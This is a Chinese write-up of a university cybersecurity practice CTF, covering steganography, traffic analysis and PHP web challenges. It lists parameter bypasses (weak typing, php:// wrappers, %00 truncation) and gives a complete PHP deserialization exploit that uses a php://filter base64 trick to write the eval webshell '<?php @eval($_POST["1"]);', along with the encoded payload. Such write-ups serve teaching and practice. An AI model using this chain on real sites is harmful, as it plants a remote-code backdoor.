WP光电信息学院2023年网络安全季度挑战赛-测试赛

news2025/1/24 2:12:38

签个到就跑WP

Misc

MISC-没爱了,下一个

下载附件压缩包解压之后,获得一个流量包文件
image.png
使用wireShark打开流量包,Ctrl + F 搜索flag{即可获得flag
image.png

flag{Good_b0y_W3ll_Done}

MISC-送你一朵小花花

下载附件压缩包解压之后,获得一个JPG图片文件
image.png
用010打开查看,在文件尾部发现Unicode编码
image.png
使用随便一个在线解Unicode编码的网站解密https://c.runoob.com/front-end/3602/
即可获得flag
image.png

key{you are right}

MISC-镜子里面的世界

考察LSB隐写
image.png
image.png
image.png
image.png

flag{st3g0_saurus_wr3cks}

Web

WEB_workhard

参考博客:

  • http://t.csdnimg.cn/GzmwA
  • https://www.cnblogs.com/baifan2618/p/7815090.html
  • https://www.jianshu.com/p/f6447e2e35e3

打开后什么也没有,查看源代码,发现一个txt,访问后发现php代码。典型的代码审计,考查了几个函数

  1. -eregi
eregi — 不区分大小写的正则表达式匹配
int eregi( string $pattern, string $string[, array &$regs] )

本函数和 ereg() 完全相同,只除了在匹配字母字符时忽略大小写的区别。 
Example #1 eregi() 例子
<?php
$string = 'XYZ';
   if (eregi('z', $string)) {
    echo "'$string' contains a 'z' or 'Z'!";
}
?> 

2.strlen()计算字符长度。
3.file_get_contents(),将文本以字符串的形式输出。
4.stripos — 查找字符串首次出现的位置(不区分大小写)

if(!$_GET['id'])//id不能为零
{
	header('Location: index.php?id=1');
	exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))//a中不能有点
{
	echo 'Hahahahahaha';
	return ;
}
$data = @file_get_contents($a,'r');//a要为一个文件,并且这个文件要有 “1112 is a nice lab!”这句话
if($data=="1112 is a nice lab!" and $id==0 and strlen($b)>5 /*b要长度大于5*/and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4/*第一个数字不能为4*/)
{
	require("flag.txt");
}
else
{
	print "work harder!harder!harder!";
}

所以题的大致意思就是,传递三个参数,id不能为零,但是要等于零,a要为一个文件,并且这个文件要有 “1112 is a nice lab!”这句话,b要长度大于5,第一个数字不能为4。

  • id这个绕过需要用弱类型来解决 id=‘a’
  • a这个绕过需要用到php伪协议,a=php://input或者 a=data:,1112 is a nice lab!
  • b这个绕过需要用到%00截断,当eregi这个函数遇到%00时,就不会再继续比较了。
  • 给出payload,体会一下

然后获得flag

WEB_login_wc

注册一个admin管理员账号登录即可

WEB_simple_ser

image.png
参考:https://zhuanlan.zhihu.com/p/51628607
查考php反序列化,任意文件写入,函数绕过
1.打开题目进行源码审计,通过代码可以看出考点应为反序列化的漏洞,通过fileput函数,进行文件的写入

<?php 
class cls1{ 
    var $cls; 
    var $arr; 

    function show(){ 
        show_source(__FILE__); 
    } 

    function __wakeup(){ 
        foreach($this->arr as $k => $v){ 
            echo $this->cls->$v; 
        } 

    } 
} 

class cls2{ 
    var $filename = 'hello.php'; 
    var $txt = ''; 
    function __get($key){ 
        if($key == 'fileput'){ 
            return $this->fileput(); 
        }else{ 
            return '<p>'.htmlspecialchars($key).'</p>'; 
        } 
    } 

    function fileput(){ 
        if(    strpos($this->filename,'../') !== false || 
            strpos($this->filename,'\\') !== false      
        ) die(); 

        $content = '<?php die(\'stupid\'); ?>'; 
        $content .= $this->txt; 
        file_put_contents($this->filename, $content); 
        return htmlspecialchars($content); 

    } 

} 

if(!empty($_POST)){ 
    $cls = base64_decode($_POST['ser']); 
    $instance = unserialize($cls); 
}else{ 
    $a = new cls1(); 
    $a->show(); 
}

2.构造反序列化代码

<?php
class cls1{
    var $cls;
    var $arr;
    function __construct(){
        $this->cls = new cls2();
        $this->arr = array('fileput'=>'fileput');
    }
}

class cls2{
    var $filename = 'e.php';
    var $txt = '<?php phpinfo();';
}
print_r(base64_encode(serialize(new cls1())));

3.使用该代码传入post的ser参数,可以在服务器当前目录下生成e.php文件,但是应为程序会写入die()函数,所以 并没有执行我们构造的代码
4.我们可以通过使用php://filter来绕过这个限制,这里也可以使用其他方法。
利用php://filter/write=convert.base64-decode/resource=e.php就可以以base64的形式向写入e.php。这样就可以将前面的die变成无效字符,从而执行我们想执行的代码

  • 具体payload如下
<?php
class cls1{
    var $cls;
    var $arr;
    function __construct(){
        $this->cls = new cls2();
        $this->arr = array('fileput'=>'fileput');
    }
}

class cls2{
    var $filename ;
    var $txt;
    function __construct(){
        $this->filename = 'php://filter/write=convert.base64-decode/resource=e.php';
        $this->txt = '<?php @eval($_POST["1"]);';
        $this->txt = base64_encode($this->txt);
    }
}

print_r(base64_encode(serialize(new cls1())));
Tzo0OiJjbHMxIjoyOntzOjM6ImNscyI7Tzo0OiJjbHMyIjoyOntzOjg6ImZpbGVuYW1lIjtzOjU1OiJwaHA6Ly9maWx0ZXIvd3JpdGU9Y29udmVydC5iYXNlNjQtZGVjb2RlL3Jlc291cmNlPWUucGhwIjtzOjM6InR4dCI7czo0MDoiUEQ5d2FIQWdRR1YyWVd3b0pGOVFUMU5VV3lKcFkzRnBZM0VpWFNrNyI7fXM6MzoiYXJyIjthOjE6e3M6NzoiZmlsZXB1dCI7czo3OiJmaWxlcHV0Ijt9fQ==

6.然后webshell连接工具连上,就可以在根目录看到flag了
image.png

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1209794.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【Vue 本地项目运行https服务】

配置本地开发环境的https访问 1、下载证书生成库2、创建证书颁发机构3、创建证书4、创建成功后会有4个文件在我们项目根目录5、定位到ca.crt 文件所在在位置 双击 安装证书6、在vue.config.js中引入证书&#xff1b; 1、下载证书生成库 npm install -g mkcert2、创建证书颁发机…

理工ubuntu20.04电脑配置记录

8188gu无线网卡配置 首先下载github上的文件&#xff0c;进入文件夹 安装make命令 1. 查看usb无线网卡 sudo lsusb|grep 8188 2. 环境准备 sudo apt-get install git make build-essential git dkms linux-headers-$(uname -r) 3. 编译安装 git clone https://github.com…

C#中.NET 6.0 Windows窗体应用通过EF访问数据库并对数据库追加、删除记录

目录 一、应用程序设计 二、应用程序源码 三、生成效果 前文作者发布了在.NET 6.0 控制台应用中通过EF访问已有数据库&#xff0c;事实上&#xff0c;在.NET 6.0 Windows窗体应用中通过EF访问已有数据库也是一样的。操作方法基本一样&#xff0c;数据库EF模型和上下文都是自…

【概率论】Python:实现求联合分布函数 | 求边缘分布函数 | Joint distribution | Marginal distribution

猛戳订阅! 👉 《一起玩蛇》🐍 💭 写在前面:本章我们将通过 Python 手动实现联合分布函数和边缘分布函数,部署的测试代码放到文后了,运行所需环境 python version >= 3.6,numpy >= 1.15,nltk >= 3.4,tqdm >= 4.24.0,scikit-learn >= 0.22。 0x00 …

后端接口性能优化分析-问题发现问题定义

&#x1f44f;作者简介&#xff1a;大家好&#xff0c;我是爱吃芝士的土豆倪&#xff0c;24届校招生Java选手&#xff0c;很高兴认识大家&#x1f4d5;系列专栏&#xff1a;Spring源码、JUC源码&#x1f525;如果感觉博主的文章还不错的话&#xff0c;请&#x1f44d;三连支持&…

科技驱动固定资产管理变革:RFID技术的前沿应用

在当今激烈竞争的商业环境中&#xff0c;企业固定资产管理面临挑战&#xff0c;而RFID技术正以其独特特性和功能性彻底改变资产管理方式。本文将深入探讨RFID技术在固定资产管理中的革命性作用&#xff0c;并解析其应用带来的创新和便利。 RFID技术概述&#xff1a; RFID系统作…

网站业务使用高防CDN的好处是什么?

随着互联网的发展&#xff0c;网站业务在今天的数字化时代扮演着至关重要的角色。然而&#xff0c;随之而来的是各种网络安全威胁和攻击的增加&#xff0c;这给网站的稳定性和可靠性带来了挑战。为了应对这些威胁&#xff0c;高防CDN&#xff08;Content Delivery Network&…

LeetCode(14)加油站【数组/字符串】【中等】

目录 1.题目2.答案3.提交结果截图 链接&#xff1a; 134. 加油站 1.题目 在一条环路上有 n 个加油站&#xff0c;其中第 i 个加油站有汽油 gas[i] 升。 你有一辆油箱容量无限的的汽车&#xff0c;从第 i 个加油站开往第 i1 个加油站需要消耗汽油 cost[i] 升。你从其中的一个加…

GZ038 物联网应用开发赛题第6套

2023年全国职业院校技能大赛 高职组 物联网应用开发 任 务 书 &#xff08;第6套卷&#xff09; 工位号&#xff1a;______________ 第一部分 竞赛须知 一、竞赛要求 1、正确使用工具&#xff0c;操作安全规范&#xff1b; 2、竞赛过程中如有异议&#xff0c;可向现场考评…

Docker Desktop 开启失败 Unexcept WSL Error

Docker Desktop 开启失败 Unexcept WSL Error 原因 原因 安装了安卓模拟器&#xff0c;然后导致 WSL 起不来&#xff0c;尝试如下都没用 重置代理 —— netsh winsock resetBIOS 关闭、重启、再重新打开 CPU 虚拟化关闭 hyper-v、windows subsystem for linux 再重启 再开启卸…

Centos7下mbr主引导记录演示

linux mbr主引导记录演示 dd if/dev/sda ofmbr.bin bs446 count1 dd if/dev/sda ofmbr.bin bs446 count1hexdump -C mbr.bin[rootlocalhost ~]# cd /boot/grub2 [rootlocalhost grub2]# ls [rootlocalhost grub2]# grub2-editenv list #默认引导内核查看 [rootlocalhost g…

RabbitMQ之消息应答和持久化

文章目录 前言一、消息应答1.概念2.自动应答3.消息应答方法4.Multiple 的解释5.消息自动重新入队6.消息手动应答代码7.手动应答效果演示 二、RabbitMQ持久化1.概念2.队列如何实现持久化3.消息实现持久化4.不公平分发5.预取值 总结 前言 在RabbitMQ中&#xff0c;我们的消费者在…

image J 对Western blot 条带进行灰度分析 量化分析

用ImageJ对条带进行定量分析 | Public Library of Bioinformatics (plob.org) 3分钟Get&#xff01;大牛教你用 image J 对Western blot 条带进行灰度分析&#xff01; - 哔哩哔哩 (bilibili.com) 科研人员做的western blot实验一般需要对其结果扫描后进行灰度分析&#xff0…

在qt的设计师界面没有QVTKOpenGLWidget这个类,只有QOpenGLWidget,那么我们如何得到QVTKOpenGLWidget呢?

文章目录 前言不过,时过境迁,QVTKOpenGLWidget用的越来越少,官方推荐使用qvtkopengnativewidget代替QVTKOpenGLWidget 前言 在qt的设计师界面没有QVTKOpenGLWidget这个类,只有QOpenGLWidget,我们要使用QVTKOpenGLWidget,那么我们如何得到QVTKOpenGLWidget呢? 不过,时过境迁,Q…

Docker-minio部署

1.创建目录 创建文件目录&#xff0c;用来存放配置和上传文件目录 &#xff08;1&#xff09;Minio 外部挂载的配置文件(/mydata/minio/config) &#xff08;2&#xff09;存储上传文件的目录(/mydata/minio/data) mkdir -p /home/minio/config mkdir -p /home/minio/data2.拉…

大文件分片上传、断点续传、秒传

小文件上传 后端&#xff1a;SpringBootJDK17 前端&#xff1a;JavaScriptsparkmd5.min.js 一、依赖 <parent><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-parent</artifactId><version>3.1.2</ve…

demo(一)eureka----服务注册与提供

下面写一个简单的demo验证下eureka&#xff0c;实现服务注册、服务发现。 一、单节点&#xff1a; 1、api&#xff1a; 封装其他组件需要共用的dto 2、eureka-service服务注册中心&#xff1a; &#xff08;1&#xff09;pom: <?xml version"1.0" encoding&q…

[论文分享] Never Mind the Malware, Here’s the Stegomalware

Never Mind the Malware, Here’s the Stegomalware [IEEE Security & Privacy 2022] Luca Caviglione | National Research Council of Italy Wojciech Mazurczyk | Warsaw University of Technology and FernUniversitt in Hagen 近年来&#xff0c;隐写技术已逐渐被观…

生产环境中的面试问题,实时链路中的Kafka数据发现某字段值错误,怎么办?...

大家好呀&#xff0c;今天分享的是一个生产环境中遇到的问题。也是群友遇到的一个面试问题。 原问题是&#xff1a; 早晨8点之后发现kafka的record中某个字段的值出现了错误&#xff0c;现在已经10点了&#xff0c;需要对kafka进行数据订正&#xff0c;怎么样定位和解决这个问题…

【星海出品】SDN neutron (四) 流分析

Neutron框架之流分析 1.控制端neutron-server通过wsgi接收北向REST API请求&#xff0c;neutron-plugin通过rpc与设备端进行南向通信。 2.设备端agent则向上通过rpc与控制端进行通信&#xff0c;向下则直接在本地对网络设备进行配置。 3.Neutron-agent的实现很多&#xff0c;彼…